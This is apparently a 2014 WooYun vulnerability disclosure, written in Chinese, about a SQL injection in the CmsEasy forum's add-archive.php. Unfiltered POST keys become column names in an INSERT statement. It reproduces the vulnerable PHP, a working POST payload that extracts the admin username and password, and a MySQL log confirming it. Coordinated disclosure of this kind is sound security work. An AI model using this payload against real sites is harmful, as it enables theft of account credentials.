当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(11) 关注此漏洞

缺陷编号: WooYun-2014-66221

漏洞标题: Cmseasy SQL注射漏洞之三

相关厂商: cmseasy

漏洞作者: Noxxx

提交时间: 2014-06-25 23:33

公开时间: 2014-09-23 23:34

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-25: 细节已通知厂商并且等待厂商处理中
2014-06-26: 厂商已经确认,细节仅向厂商公开
2014-06-29: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-08-20: 细节向核心白帽子及相关领域专家公开
2014-08-30: 细节向普通白帽子公开
2014-09-09: 细节向实习白帽子公开
2014-09-23: 细节向公众公开

简要描述:

注入。。

详细说明:

bbs中发文章的时候 直接把$_POST数据带入 拼接sql功能函数中导致注入



/bbs/add-archive.php 30行



code 区域
if($id = $archive->inserData($_POST)){



直接带入整个$_POST



/bbs/model/db/base.php 38行



code 区域
public function inserData($data){
$r = $this->odb->insert($this->tblName,$data); //在跟入
if($r)
return $this->odb->getInsertId();
else
return false;
}





/bbs/commonlib/db.php



code 区域
public function insert($table, $data)
{
$sql = $this->getInsertString($table, $data);//拼接sql 继续看。。

return $this->execSql($sql);
}







code 区域
public function getInsertString($table, $data)
{
$n_str = '';
$v_str = '';
$table = $this->filterString($table);

foreach ($data as $k => $v)//遍历数据 因为穿过来的是整个$_POST所以 我们可以任意控制 列明和值
{
$n_str .= $this->filterString($k).',';
$v_str .= "'".$this->filterString($v)."',";
}

$n_str = preg_replace( "/,$/", "", $n_str );
$v_str = preg_replace( "/,$/", "", $v_str );
$str = 'INSERT INTO '.$table.' ('.$n_str.') VALUES('.$v_str.')';
return $str;
}





code 区域
public function filterString($str)
{

if ($this->magic_quotes)
{
$str = stripslashes($str);
}

if ( is_numeric($str) ) {
return $str;
} else {
$ret = @mysqli_real_escape_string($this->con, $str);

if ( strlen($str) && !isset($ret) ) {
$r = $this->checkConnection();
if ($r !== true) {
$this->closeDB();
$ret = $str;
}
}

return $ret;
}
}





过滤也没什么用 因为没过滤关键一些语句



里面还有一个360safe.php的脚本 但是 这个并不过滤键名 只过滤键值

还有一个变量名中的点和空格被转换成下划线。不过不用空格也是可以的。。



exp:

**.**.**.**/PHP/CmsEasy/bbs/add-archive.php?cid=1

(POST)

title=a&content)values(1,(SELECT(CONCAT(USERNAME,0x7c,PASSWORD))FROM(cmseasy_user)WHERE(USERID%3D1)))#=c&submit=a&verify=HKCX



漏洞证明:

mysql 日志 :



2070 Query INSERT INTO cmseasy_bbs_archive (title,content)values(1,(SELECT(CONCAT(USERNAME,0x7c,PASSWORD))FROM(cmseasy_user)WHERE(USERID=1)))#,username,userid,ip,addtime) VALUES('a','c','123213','4','**.**.**.**','1403698291')







a0625201127.png





qwewqe.png



修复方案:

不要把$_POST提交过去。。

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-06-26 12:26

厂商回复:

感谢,马上修正

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

登录后才能发表评论,请先 登录